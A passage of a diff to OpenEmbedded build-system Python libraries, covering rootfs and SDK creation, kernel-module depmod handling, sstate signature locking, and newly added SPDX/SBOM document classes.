@@ -118,17 +116,18 @@ class Rootfs(object, metaclass=ABCMeta):
shutil.rmtree(self.image_rootfs + '-orig')
except:
pass
- os.rename(self.image_rootfs, self.image_rootfs + '-orig')
+ bb.utils.rename(self.image_rootfs, self.image_rootfs + '-orig')
bb.note(" Creating debug rootfs...")
bb.utils.mkdirhier(self.image_rootfs)
bb.note(" Copying back package database...")
- for dir in dirs:
- if not os.path.isdir(self.image_rootfs + '-orig' + dir):
- continue
- bb.utils.mkdirhier(self.image_rootfs + os.path.dirname(dir))
- shutil.copytree(self.image_rootfs + '-orig' + dir, self.image_rootfs + dir, symlinks=True)
+ for path in package_paths:
+ bb.utils.mkdirhier(self.image_rootfs + os.path.dirname(path))
+ if os.path.isdir(self.image_rootfs + '-orig' + path):
+ shutil.copytree(self.image_rootfs + '-orig' + path, self.image_rootfs + path, symlinks=True)
+ elif os.path.isfile(self.image_rootfs + '-orig' + path):
+ shutil.copyfile(self.image_rootfs + '-orig' + path, self.image_rootfs + path)
# Copy files located in /usr/lib/debug or /usr/src/debug
for dir in ["/usr/lib/debug", "/usr/src/debug"]:
@@ -164,25 +163,26 @@ class Rootfs(object, metaclass=ABCMeta):
bb.note(" Install extra debug packages...")
self.pm.install(extra_debug_pkgs.split(), True)
+ bb.note(" Removing package database...")
+ for path in package_paths:
+ if os.path.isdir(self.image_rootfs + path):
+ shutil.rmtree(self.image_rootfs + path)
+ elif os.path.isfile(self.image_rootfs + path):
+ os.remove(self.image_rootfs + path)
+
bb.note(" Rename debug rootfs...")
try:
shutil.rmtree(self.image_rootfs + '-dbg')
except:
pass
- os.rename(self.image_rootfs, self.image_rootfs + '-dbg')
+ bb.utils.rename(self.image_rootfs, self.image_rootfs + '-dbg')
- bb.note(" Restoreing original rootfs...")
- os.rename(self.image_rootfs + '-orig', self.image_rootfs)
+ bb.note(" Restoring original rootfs...")
+ bb.utils.rename(self.image_rootfs + '-orig', self.image_rootfs)
def _exec_shell_cmd(self, cmd):
- fakerootcmd = self.d.getVar('FAKEROOT')
- if fakerootcmd is not None:
- exec_cmd = [fakerootcmd, cmd]
- else:
- exec_cmd = cmd
-
try:
- subprocess.check_output(exec_cmd, stderr=subprocess.STDOUT)
+ subprocess.check_output(cmd, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
return("Command '%s' returned %d:\n%s" % (e.cmd, e.returncode, e.output))
@@ -194,9 +194,17 @@ class Rootfs(object, metaclass=ABCMeta):
post_process_cmds = self.d.getVar("ROOTFS_POSTPROCESS_COMMAND")
rootfs_post_install_cmds = self.d.getVar('ROOTFS_POSTINSTALL_COMMAND')
- bb.utils.mkdirhier(self.image_rootfs)
+ def make_last(command, commands):
+ commands = commands.split()
+ if command in commands:
+ commands.remove(command)
+ commands.append(command)
+ return "".join(commands)
- bb.utils.mkdirhier(self.deploydir)
+ # We want this to run as late as possible, in particular after
+ # systemd_sysusers_create and set_user_group. Using :append is not enough
+ make_last("tidy_shadowutils_files", post_process_cmds)
+ make_last("rootfs_reproducible", post_process_cmds)
execute_pre_post_process(self.d, pre_process_cmds)
@@ -221,6 +229,9 @@ class Rootfs(object, metaclass=ABCMeta):
self.progress_reporter.next_stage()
if bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
+ True, False, self.d) and \
+ not bb.utils.contains("IMAGE_FEATURES",
+ "read-only-rootfs-delayed-postinsts",
True, False, self.d):
delayed_postinsts = self._get_delayed_postinsts()
if delayed_postinsts is not None:
@@ -251,13 +262,11 @@ class Rootfs(object, metaclass=ABCMeta):
def _uninstall_unneeded(self):
- # Remove unneeded init script symlinks
+ # Remove the run-postinsts package if no delayed postinsts are found
delayed_postinsts = self._get_delayed_postinsts()
if delayed_postinsts is None:
- if os.path.exists(self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/init.d/run-postinsts")):
- self._exec_shell_cmd(["update-rc.d", "-f", "-r",
- self.d.getVar('IMAGE_ROOTFS'),
- "run-postinsts", "remove"])
+ if os.path.exists(self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/init.d/run-postinsts")) or os.path.exists(self.d.expand("${IMAGE_ROOTFS}${systemd_system_unitdir}/run-postinsts.service")):
+ self.pm.remove(["run-postinsts"])
image_rorfs = bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
True, False, self.d)
@@ -305,10 +314,20 @@ class Rootfs(object, metaclass=ABCMeta):
self._exec_shell_cmd(['ldconfig', '-r', self.image_rootfs, '-c',
'new', '-v', '-X'])
+ image_rorfs = bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs",
+ True, False, self.d)
+ ldconfig_in_features = bb.utils.contains("DISTRO_FEATURES", "ldconfig",
+ True, False, self.d)
+ if image_rorfs or not ldconfig_in_features:
+ ldconfig_cache_dir = os.path.join(self.image_rootfs, "var/cache/ldconfig")
+ if os.path.exists(ldconfig_cache_dir):
+ bb.note("Removing ldconfig auxiliary cache...")
+ shutil.rmtree(ldconfig_cache_dir)
+
def _check_for_kernel_modules(self, modules_dir):
for root, dirs, files in os.walk(modules_dir, topdown=True):
for name in files:
- found_ko = name.endswith(".ko")
+ found_ko = name.endswith((".ko", ".ko.gz", ".ko.xz", ".ko.zst"))
if found_ko:
return found_ko
return False
@@ -320,17 +339,30 @@ class Rootfs(object, metaclass=ABCMeta):
bb.note("No Kernel Modules found, not running depmod")
return
- kernel_abi_ver_file = oe.path.join(self.d.getVar('PKGDATA_DIR'), "kernel-depmod",
- 'kernel-abiversion')
- if not os.path.exists(kernel_abi_ver_file):
- bb.fatal("No kernel-abiversion file found (%s), cannot run depmod, aborting" % kernel_abi_ver_file)
+ pkgdatadir = self.d.getVar('PKGDATA_DIR')
+
+ # PKGDATA_DIR can include multiple kernels so we run depmod for each
+ # one of them.
+ for direntry in os.listdir(pkgdatadir):
+ match = re.match('(.*)-depmod', direntry)
+ if not match:
+ continue
+ kernel_package_name = match.group(1)
+
+ kernel_abi_ver_file = oe.path.join(pkgdatadir, direntry, kernel_package_name + '-abiversion')
+ if not os.path.exists(kernel_abi_ver_file):
+ bb.fatal("No kernel-abiversion file found (%s), cannot run depmod, aborting" % kernel_abi_ver_file)
- kernel_ver = open(kernel_abi_ver_file).read().strip(' \n')
- versioned_modules_dir = os.path.join(self.image_rootfs, modules_dir, kernel_ver)
+ with open(kernel_abi_ver_file) as f:
+ kernel_ver = f.read().strip(' \n')
- bb.utils.mkdirhier(versioned_modules_dir)
+ versioned_modules_dir = os.path.join(self.image_rootfs, modules_dir, kernel_ver)
- self._exec_shell_cmd(['depmodwrapper', '-a', '-b', self.image_rootfs, kernel_ver])
+ bb.utils.mkdirhier(versioned_modules_dir)
+
+ bb.note("Running depmodwrapper for %s ..." % versioned_modules_dir)
+ if self._exec_shell_cmd(['depmodwrapper', '-a', '-b', self.image_rootfs, kernel_ver, kernel_package_name]):
+ bb.fatal("Kernel modules dependency generation failed")
"""
Create devfs:
@@ -358,12 +390,9 @@ class Rootfs(object, metaclass=ABCMeta):
def get_class_for_type(imgtype):
- from oe.package_manager.rpm.rootfs import RpmRootfs
- from oe.package_manager.ipk.rootfs import OpkgRootfs
- from oe.package_manager.deb.rootfs import DpkgRootfs
- return {"rpm": RpmRootfs,
- "ipk": OpkgRootfs,
- "deb": DpkgRootfs}[imgtype]
+ import importlib
+ mod = importlib.import_module('oe.package_manager.' + imgtype + '.rootfs')
+ return mod.PkgRootfs
def variable_depends(d, manifest_dir=None):
img_type = d.getVar('IMAGE_PKGTYPE')
@@ -373,32 +402,27 @@ def variable_depends(d, manifest_dir=None):
def create_rootfs(d, manifest_dir=None, progress_reporter=None, logcatcher=None):
env_bkp = os.environ.copy()
- from oe.package_manager.rpm.rootfs import RpmRootfs
- from oe.package_manager.ipk.rootfs import OpkgRootfs
- from oe.package_manager.deb.rootfs import DpkgRootfs
img_type = d.getVar('IMAGE_PKGTYPE')
- if img_type == "rpm":
- RpmRootfs(d, manifest_dir, progress_reporter, logcatcher).create()
- elif img_type == "ipk":
- OpkgRootfs(d, manifest_dir, progress_reporter, logcatcher).create()
- elif img_type == "deb":
- DpkgRootfs(d, manifest_dir, progress_reporter, logcatcher).create()
+ cls = get_class_for_type(img_type)
+ cls(d, manifest_dir, progress_reporter, logcatcher).create()
os.environ.clear()
os.environ.update(env_bkp)
def image_list_installed_packages(d, rootfs_dir=None):
+ # Theres no rootfs for baremetal images
+ if bb.data.inherits_class('baremetal-image', d):
+ return ""
+
if not rootfs_dir:
rootfs_dir = d.getVar('IMAGE_ROOTFS')
img_type = d.getVar('IMAGE_PKGTYPE')
- if img_type == "rpm":
- return RpmPkgsList(d, rootfs_dir).list_pkgs()
- elif img_type == "ipk":
- return OpkgPkgsList(d, rootfs_dir, d.getVar("IPKGCONF_TARGET")).list_pkgs()
- elif img_type == "deb":
- return DpkgPkgsList(d, rootfs_dir).list_pkgs()
+
+ import importlib
+ cls = importlib.import_module('oe.package_manager.' + img_type)
+ return cls.PMPkgsList(d, rootfs_dir).list_pkgs()
if __name__ == "__main__":
"""
diff --git a/meta/lib/oe/rust.py b/meta/lib/oe/rust.py
new file mode 100644
index 0000000000..185553eeeb
--- /dev/null
+++ b/meta/lib/oe/rust.py
@@ -0,0 +1,13 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Handle mismatches between `uname -m`-style output and Rust's arch names
+def arch_to_rust_arch(arch):
+ if arch == "ppc64le":
+ return "powerpc64le"
+ if arch in ('riscv32', 'riscv64'):
+ return arch + 'gc'
+ return arch
diff --git a/meta/lib/oe/sbom.py b/meta/lib/oe/sbom.py
new file mode 100644
index 0000000000..fd4b6895d8
--- /dev/null
+++ b/meta/lib/oe/sbom.py
@@ -0,0 +1,120 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import collections
+
+DepRecipe = collections.namedtuple("DepRecipe", ("doc", "doc_sha1", "recipe"))
+DepSource = collections.namedtuple("DepSource", ("doc", "doc_sha1", "recipe", "file"))
+
+
+def get_recipe_spdxid(d):
+ return "SPDXRef-%s-%s" % ("Recipe", d.getVar("PN"))
+
+
+def get_download_spdxid(d, idx):
+ return "SPDXRef-Download-%s-%d" % (d.getVar("PN"), idx)
+
+
+def get_package_spdxid(pkg):
+ return "SPDXRef-Package-%s" % pkg
+
+
+def get_source_file_spdxid(d, idx):
+ return "SPDXRef-SourceFile-%s-%d" % (d.getVar("PN"), idx)
+
+
+def get_packaged_file_spdxid(pkg, idx):
+ return "SPDXRef-PackagedFile-%s-%d" % (pkg, idx)
+
+
+def get_image_spdxid(img):
+ return "SPDXRef-Image-%s" % img
+
+
+def get_sdk_spdxid(sdk):
+ return "SPDXRef-SDK-%s" % sdk
+
+
+def _doc_path_by_namespace(spdx_deploy, arch, doc_namespace):
+ return spdx_deploy / "by-namespace" / arch / doc_namespace.replace("/", "_")
+
+
+def doc_find_by_namespace(spdx_deploy, search_arches, doc_namespace):
+ for pkgarch in search_arches:
+ p = _doc_path_by_namespace(spdx_deploy, pkgarch, doc_namespace)
+ if os.path.exists(p):
+ return p
+ return None
+
+
+def _doc_path_by_hashfn(spdx_deploy, arch, doc_name, hashfn):
+ return (
+ spdx_deploy / "by-hash" / arch / hashfn.split()[1] / (doc_name + ".spdx.json")
+ )
+
+
+def doc_find_by_hashfn(spdx_deploy, search_arches, doc_name, hashfn):
+ for pkgarch in search_arches:
+ p = _doc_path_by_hashfn(spdx_deploy, pkgarch, doc_name, hashfn)
+ if os.path.exists(p):
+ return p
+ return None
+
+
+def doc_path(spdx_deploy, doc_name, arch, subdir):
+ return spdx_deploy / arch / subdir / (doc_name + ".spdx.json")
+
+
+def write_doc(d, spdx_doc, arch, subdir, spdx_deploy=None, indent=None):
+ from pathlib import Path
+
+ if spdx_deploy is None:
+ spdx_deploy = Path(d.getVar("SPDXDEPLOY"))
+
+ dest = doc_path(spdx_deploy, spdx_doc.name, arch, subdir)
+ dest.parent.mkdir(exist_ok=True, parents=True)
+ with dest.open("wb") as f:
+ doc_sha1 = spdx_doc.to_json(f, sort_keys=True, indent=indent)
+
+ l = _doc_path_by_namespace(spdx_deploy, arch, spdx_doc.documentNamespace)
+ l.parent.mkdir(exist_ok=True, parents=True)
+ l.symlink_to(os.path.relpath(dest, l.parent))
+
+ l = _doc_path_by_hashfn(
+ spdx_deploy, arch, spdx_doc.name, d.getVar("BB_HASHFILENAME")
+ )
+ l.parent.mkdir(exist_ok=True, parents=True)
+ l.symlink_to(os.path.relpath(dest, l.parent))
+
+ return doc_sha1
+
+
+def read_doc(fn):
+ import hashlib
+ import oe.spdx
+ import io
+ import contextlib
+
+ @contextlib.contextmanager
+ def get_file():
+ if isinstance(fn, io.IOBase):
+ yield fn
+ else:
+ with fn.open("rb") as f:
+ yield f
+
+ with get_file() as f:
+ sha1 = hashlib.sha1()
+ while True:
+ chunk = f.read(4096)
+ if not chunk:
+ break
+ sha1.update(chunk)
+
+ f.seek(0)
+ doc = oe.spdx.SPDXDocument.from_json(f)
+
+ return (doc, sha1.hexdigest())
diff --git a/meta/lib/oe/sdk.py b/meta/lib/oe/sdk.py
index fdcadcb8de..3dc3672210 100644
--- a/meta/lib/oe/sdk.py
+++ b/meta/lib/oe/sdk.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -68,7 +70,7 @@ class Sdk(object, metaclass=ABCMeta):
#FIXME: using umbrella exc catching because bb.utils method raises it
except Exception as e:
bb.debug(1, "printing the stack trace\n %s" %traceback.format_exc())
- bb.error("unable to place %s in final SDK location" % sourcefile)
+ bb.fatal("unable to place %s in final SDK location" % sourcefile)
def mkdirhier(self, dirpath):
try:
@@ -115,33 +117,22 @@ def sdk_list_installed_packages(d, target, rootfs_dir=None):
rootfs_dir = [sdk_output, os.path.join(sdk_output, target_path)][target is True]
- from oe.package_manager.rpm import RpmPkgsList
- from oe.package_manager.ipk import OpkgPkgsList
- from oe.package_manager.deb import DpkgPkgsList
+ if target is False:
+ ipkgconf_sdk_target = d.getVar("IPKGCONF_SDK")
+ d.setVar("IPKGCONF_TARGET", ipkgconf_sdk_target)
+
img_type = d.getVar('IMAGE_PKGTYPE')
- if img_type == "rpm":
- arch_var = ["SDK_PACKAGE_ARCHS", None][target is True]
- os_var = ["SDK_OS", None][target is True]
- return RpmPkgsList(d, rootfs_dir).list_pkgs()
- elif img_type == "ipk":
- conf_file_var = ["IPKGCONF_SDK", "IPKGCONF_TARGET"][target is True]
- return OpkgPkgsList(d, rootfs_dir, d.getVar(conf_file_var)).list_pkgs()
- elif img_type == "deb":
- return DpkgPkgsList(d, rootfs_dir).list_pkgs()
+ import importlib
+ cls = importlib.import_module('oe.package_manager.' + img_type)
+ return cls.PMPkgsList(d, rootfs_dir).list_pkgs()
def populate_sdk(d, manifest_dir=None):
env_bkp = os.environ.copy()
img_type = d.getVar('IMAGE_PKGTYPE')
- from oe.package_manager.rpm.sdk import RpmSdk
- from oe.package_manager.ipk.sdk import OpkgSdk
- from oe.package_manager.deb.sdk import DpkgSdk
- if img_type == "rpm":
- RpmSdk(d, manifest_dir).populate()
- elif img_type == "ipk":
- OpkgSdk(d, manifest_dir).populate()
- elif img_type == "deb":
- DpkgSdk(d, manifest_dir).populate()
+ import importlib
+ cls = importlib.import_module('oe.package_manager.' + img_type + '.sdk')
+ cls.PkgSdk(d, manifest_dir).populate()
os.environ.clear()
os.environ.update(env_bkp)
diff --git a/meta/lib/oe/spdx.py b/meta/lib/oe/spdx.py
new file mode 100644
index 0000000000..7aaf2af5ed
--- /dev/null
+++ b/meta/lib/oe/spdx.py
@@ -0,0 +1,357 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+#
+# This library is intended to capture the JSON SPDX specification in a type
+# safe manner. It is not intended to encode any particular OE specific
+# behaviors, see the sbom.py for that.
+#
+# The documented SPDX spec document doesn't cover the JSON syntax for
+# particular configuration, which can make it hard to determine what the JSON
+# syntax should be. I've found it is actually much simpler to read the official
+# SPDX JSON schema which can be found here: https://github.com/spdx/spdx-spec
+# in schemas/spdx-schema.json
+#
+
+import hashlib
+import itertools
+import json
+
+SPDX_VERSION = "2.2"
+
+
+#
+# The following are the support classes that are used to implement SPDX object
+#
+
+class _Property(object):
+ """
+ A generic SPDX object property. The different types will derive from this
+ class
+ """
+
+ def __init__(self, *, default=None):
+ self.default = default
+
+ def setdefault(self, dest, name):
+ if self.default is not None:
+ dest.setdefault(name, self.default)
+
+
+class _String(_Property):
+ """
+ A scalar string property for an SPDX object
+ """
+
+ def __init__(self, **kwargs):
+ super().__init__(**kwargs)
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = value
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper, del_helper)
+
+ def init(self, source):
+ return source
+
+
+class _Object(_Property):
+ """
+ A scalar SPDX object property of a SPDX object
+ """
+
+ def __init__(self, cls, **kwargs):
+ super().__init__(**kwargs)
+ self.cls = cls
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ if not name in obj._spdx:
+ obj._spdx[name] = self.cls()
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = value
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper)
+
+ def init(self, source):
+ return self.cls(**source)
+
+
+class _ListProperty(_Property):
+ """
+ A list of SPDX properties
+ """
+
+ def __init__(self, prop, **kwargs):
+ super().__init__(**kwargs)
+ self.prop = prop
+
+ def set_property(self, attrs, name):
+ def get_helper(obj):
+ if not name in obj._spdx:
+ obj._spdx[name] = []
+ return obj._spdx[name]
+
+ def set_helper(obj, value):
+ obj._spdx[name] = list(value)
+
+ def del_helper(obj):
+ del obj._spdx[name]
+
+ attrs[name] = property(get_helper, set_helper, del_helper)
+
+ def init(self, source):
+ return [self.prop.init(o) for o in source]
+
+
+class _StringList(_ListProperty):
+ """
+ A list of strings as a property for an SPDX object
+ """
+
+ def __init__(self, **kwargs):
+ super().__init__(_String(), **kwargs)
+
+
+class _ObjectList(_ListProperty):
+ """
+ A list of SPDX objects as a property for an SPDX object
+ """
+
+ def __init__(self, cls, **kwargs):
+ super().__init__(_Object(cls), **kwargs)
+
+
+class MetaSPDXObject(type):
+ """
+ A metaclass that allows properties (anything derived from a _Property
+ class) to be defined for a SPDX object
+ """
+ def __new__(mcls, name, bases, attrs):
+ attrs["_properties"] = {}
+
+ for key in attrs.keys():
+ if isinstance(attrs[key], _Property):
+ prop = attrs[key]
+ attrs["_properties"][key] = prop
+ prop.set_property(attrs, key)
+
+ return super().__new__(mcls, name, bases, attrs)
+
+
+class SPDXObject(metaclass=MetaSPDXObject):
+ """
+ The base SPDX object; all SPDX spec classes must derive from this class
+ """
+ def __init__(self, **d):
+ self._spdx = {}
+
+ for name, prop in self._properties.items():
+ prop.setdefault(self._spdx, name)
+ if name in d:
+ self._spdx[name] = prop.init(d[name])
+
+ def serializer(self):
+ return self._spdx
+
+ def __setattr__(self, name, value):
+ if name in self._properties or name == "_spdx":
+ super().__setattr__(name, value)
+ return
+ raise KeyError("%r is not a valid SPDX property" % name)
+
+#
+# These are the SPDX objects implemented from the spec. The *only* properties
+# that can be added to these objects are ones directly specified in the SPDX
+# spec, however you may add helper functions to make operations easier.
+#
+# Defaults should *only* be specified if the SPDX spec says there is a certain
+# required value for a field (e.g. dataLicense), or if the field is mandatory
+# and has some sane "this field is unknown" (e.g. "NOASSERTION")
+#
+
+class SPDXAnnotation(SPDXObject):
+ annotationDate = _String()
+ annotationType = _String()
+ annotator = _String()
+ comment = _String()
+
+class SPDXChecksum(SPDXObject):
+ algorithm = _String()
+ checksumValue = _String()
+
+
+class SPDXRelationship(SPDXObject):
+ spdxElementId = _String()
+ relatedSpdxElement = _String()
+ relationshipType = _String()
+ comment = _String()
+ annotations = _ObjectList(SPDXAnnotation)
+
+
+class SPDXExternalReference(SPDXObject):
+ referenceCategory = _String()
+ referenceType = _String()
+ referenceLocator = _String()
+
+
+class SPDXPackageVerificationCode(SPDXObject):
+ packageVerificationCodeValue = _String()
+ packageVerificationCodeExcludedFiles = _StringList()
+
+
+class SPDXPackage(SPDXObject):
+ ALLOWED_CHECKSUMS = [
+ "SHA1",
+ "SHA224",
+ "SHA256",
+ "SHA384",
+ "SHA512",
+ "MD2",
+ "MD4",
+ "MD5",
+ "MD6",
+ ]
+
+ name = _String()
+ SPDXID = _String()
+ versionInfo = _String()
+ downloadLocation = _String(default="NOASSERTION")
+ supplier = _String(default="NOASSERTION")
+ homepage = _String()
+ licenseConcluded = _String(default="NOASSERTION")
+ licenseDeclared = _String(default="NOASSERTION")
+ summary = _String()
+ description = _String()
+ sourceInfo = _String()
+ copyrightText = _String(default="NOASSERTION")
+ licenseInfoFromFiles = _StringList(default=["NOASSERTION"])
+ externalRefs = _ObjectList(SPDXExternalReference)
+ packageVerificationCode = _Object(SPDXPackageVerificationCode)
+ hasFiles = _StringList()
+ packageFileName = _String()
+ annotations = _ObjectList(SPDXAnnotation)
+ checksums = _ObjectList(SPDXChecksum)
+
+
+class SPDXFile(SPDXObject):
+ SPDXID = _String()
+ fileName = _String()
+ licenseConcluded = _String(default="NOASSERTION")
+ copyrightText = _String(default="NOASSERTION")
+ licenseInfoInFiles = _StringList(default=["NOASSERTION"])
+ checksums = _ObjectList(SPDXChecksum)
+ fileTypes = _StringList()
+
+
+class SPDXCreationInfo(SPDXObject):
+ created = _String()
+ licenseListVersion = _String()
+ comment = _String()
+ creators = _StringList()
+
+
+class SPDXExternalDocumentRef(SPDXObject):
+ externalDocumentId = _String()
+ spdxDocument = _String()
+ checksum = _Object(SPDXChecksum)
+
+
+class SPDXExtractedLicensingInfo(SPDXObject):
+ name = _String()
+ comment = _String()
+ licenseId = _String()
+ extractedText = _String()
+
+
+class SPDXDocument(SPDXObject):
+ spdxVersion = _String(default="SPDX-" + SPDX_VERSION)
+ dataLicense = _String(default="CC0-1.0")
+ SPDXID = _String(default="SPDXRef-DOCUMENT")
+ name = _String()
+ documentNamespace = _String()
+ creationInfo = _Object(SPDXCreationInfo)
+ packages = _ObjectList(SPDXPackage)
+ files = _ObjectList(SPDXFile)
+ relationships = _ObjectList(SPDXRelationship)
+ externalDocumentRefs = _ObjectList(SPDXExternalDocumentRef)
+ hasExtractedLicensingInfos = _ObjectList(SPDXExtractedLicensingInfo)
+
+ def __init__(self, **d):
+ super().__init__(**d)
+
+ def to_json(self, f, *, sort_keys=False, indent=None, separators=None):
+ class Encoder(json.JSONEncoder):
+ def default(self, o):
+ if isinstance(o, SPDXObject):
+ return o.serializer()
+
+ return super().default(o)
+
+ sha1 = hashlib.sha1()
+ for chunk in Encoder(
+ sort_keys=sort_keys,
+ indent=indent,
+ separators=separators,
+ ).iterencode(self):
+ chunk = chunk.encode("utf-8")
+ f.write(chunk)
+ sha1.update(chunk)
+
+ return sha1.hexdigest()
+
+ @classmethod
+ def from_json(cls, f):
+ return cls(**json.load(f))
+
+ def add_relationship(self, _from, relationship, _to, *, comment=None, annotation=None):
+ if isinstance(_from, SPDXObject):
+ from_spdxid = _from.SPDXID
+ else:
+ from_spdxid = _from
+
+ if isinstance(_to, SPDXObject):
+ to_spdxid = _to.SPDXID
+ else:
+ to_spdxid = _to
+
+ r = SPDXRelationship(
+ spdxElementId=from_spdxid,
+ relatedSpdxElement=to_spdxid,
+ relationshipType=relationship,
+ )
+
+ if comment is not None:
+ r.comment = comment
+
+ if annotation is not None:
+ r.annotations.append(annotation)
+
+ self.relationships.append(r)
+
+ def find_by_spdxid(self, spdxid):
+ for o in itertools.chain(self.packages, self.files):
+ if o.SPDXID == spdxid:
+ return o
+ return None
+
+ def find_external_document_ref(self, namespace):
+ for r in self.externalDocumentRefs:
+ if r.spdxDocument == namespace:
+ return r
+ return None
diff --git a/meta/lib/oe/sstatesig.py b/meta/lib/oe/sstatesig.py
index 21ae0a7657..a46e5502ab 100644
--- a/meta/lib/oe/sstatesig.py
+++ b/meta/lib/oe/sstatesig.py
@@ -1,9 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
import bb.siggen
import bb.runqueue
import oe
+import netrc
def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCaches):
# Return True if we should keep the dependency, False to drop it
@@ -28,6 +31,12 @@ def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCaches):
depmc, _, deptaskname, depmcfn = bb.runqueue.split_tid_mcfn(dep)
mc, _ = bb.runqueue.split_mc(fn)
+ # We can skip the rm_work task signature to avoid running the task
+ # when we remove some tasks from the dependencie chain
+ # i.e INHERIT:remove = "create-spdx" will trigger the do_rm_work
+ if task == "do_rm_work":
+ return False
+
# (Almost) always include our own inter-task dependencies (unless it comes
# from a mcdepends). The exception is the special
# do_kernel_configme->do_unpack_and_patch dependency from archiver.bbclass.
@@ -59,7 +68,7 @@ def sstate_rundepfilter(siggen, fn, recipename, task, dep, depname, dataCaches):
return False
# Kernel modules are well namespaced. We don't want to depend on the kernel's checksum
- # if we're just doing an RRECOMMENDS_xxx = "kernel-module-*", not least because the checksum
+ # if we're just doing an RRECOMMENDS:xxx = "kernel-module-*", not least because the checksum
# is machine specific.
# Therefore if we're not a kernel or a module recipe (inheriting the kernel classes)
# and we reccomend a kernel-module, we exclude the dependency.
@@ -84,15 +93,6 @@ def sstate_lockedsigs(d):
sigs[pn][task] = [h, siggen_lockedsigs_var]
return sigs
-class SignatureGeneratorOEBasic(bb.siggen.SignatureGeneratorBasic):
- name = "OEBasic"
- def init_rundepcheck(self, data):
- self.abisaferecipes = (data.getVar("SIGGEN_EXCLUDERECIPES_ABISAFE") or "").split()
- self.saferecipedeps = (data.getVar("SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS") or "").split()
- pass
- def rundep_check(self, fn, recipename, task, dep, depname, dataCaches = None):
- return sstate_rundepfilter(self, fn, recipename, task, dep, depname, dataCaches)
-
class SignatureGeneratorOEBasicHashMixIn(object):
supports_multiconfig_datacaches = True
@@ -105,10 +105,11 @@ class SignatureGeneratorOEBasicHashMixIn(object):
self.lockedhashfn = {}
self.machine = data.getVar("MACHINE")
self.mismatch_msgs = []
+ self.mismatch_number = 0
+ self.lockedsigs_msgs = ""
self.unlockedrecipes = (data.getVar("SIGGEN_UNLOCKED_RECIPES") or
"").split()
self.unlockedrecipes = { k: "" for k in self.unlockedrecipes }
- self.buildarch = data.getVar('BUILD_ARCH')
self._internal = False
pass
@@ -142,18 +143,12 @@ class SignatureGeneratorOEBasicHashMixIn(object):
super().set_taskdata(data[3:])
def dump_sigs(self, dataCache, options):
- sigfile = os.getcwd() + "/locked-sigs.inc"
- bb.plain("Writing locked sigs to %s" % sigfile)
- self.dump_lockedsigs(sigfile)
+ if 'lockedsigs' in options:
+ sigfile = os.getcwd() + "/locked-sigs.inc"
+ bb.plain("Writing locked sigs to %s" % sigfile)
+ self.dump_lockedsigs(sigfile)
return super(bb.siggen.SignatureGeneratorBasicHash, self).dump_sigs(dataCache, options)
- def prep_taskhash(self, tid, deps, dataCaches):
- super().prep_taskhash(tid, deps, dataCaches)
- if hasattr(self, "extramethod"):
- (mc, _, _, fn) = bb.runqueue.split_tid_mcfn(tid)
- inherits = " ".join(dataCaches[mc].inherits[fn])
- if inherits.find("/native.bbclass") != -1 or inherits.find("/cross.bbclass") != -1:
- self.extramethod[tid] = ":" + self.buildarch
def get_taskhash(self, tid, deps, dataCaches):
if tid in self.lockedhashes:
@@ -162,12 +157,7 @@ class SignatureGeneratorOEBasicHashMixIn(object):
else:
return super().get_taskhash(tid, deps, dataCaches)
- # get_taskhash will call get_unihash internally in the parent class, we
- # need to disable our filter of it whilst this runs else
- # incorrect hashes can be calculated.
- self._internal = True
h = super().get_taskhash(tid, deps, dataCaches)
- self._internal = False
(mc, _, task, fn) = bb.runqueue.split_tid_mcfn(tid)
@@ -201,6 +191,7 @@ class SignatureGeneratorOEBasicHashMixIn(object):
#bb.warn("Using %s %s %s" % (recipename, task, h))
if h != h_locked and h_locked != unihash:
+ self.mismatch_number += 1
self.mismatch_msgs.append('The %s:%s sig is computed to be %s, but the sig is locked to %s in %s'
% (recipename, task, h, h_locked, var))
@@ -215,10 +206,10 @@ class SignatureGeneratorOEBasicHashMixIn(object):
return self.lockedhashes[tid]
return super().get_stampfile_hash(tid)
- def get_unihash(self, tid):
+ def get_cached_unihash(self, tid):
if tid in self.lockedhashes and self.lockedhashes[tid] and not self._internal:
return self.lockedhashes[tid]
- return super().get_unihash(tid)
+ return super().get_cached_unihash(tid)
def dump_sigtask(self, fn, task, stampbase, runtime):
tid = fn + ":" + task
@@ -229,6 +220,9 @@ class SignatureGeneratorOEBasicHashMixIn(object):
def dump_lockedsigs(self, sigfile, taskfilter=None):
types = {}
for tid in self.runtaskdeps:
+ # Bitbake changed this to a tuple in newer versions
+ if isinstance(tid, tuple):
+ tid = tid[1]
if taskfilter:
if not tid in taskfilter:
continue
@@ -251,15 +245,26 @@ class SignatureGeneratorOEBasicHashMixIn(object):
continue
f.write(" " + self.lockedpnmap[fn] + ":" + task + ":" + self.get_unihash(tid) + " \\\n")
f.write(' "\n')
- f.write('SIGGEN_LOCKEDSIGS_TYPES_%s = "%s"' % (self.machine, " ".join(l)))
+ f.write('SIGGEN_LOCKEDSIGS_TYPES:%s = "%s"' % (self.machine, " ".join(l)))
+
+ def dump_siglist(self, sigfile, path_prefix_strip=None):
+ def strip_fn(fn):
+ nonlocal path_prefix_strip
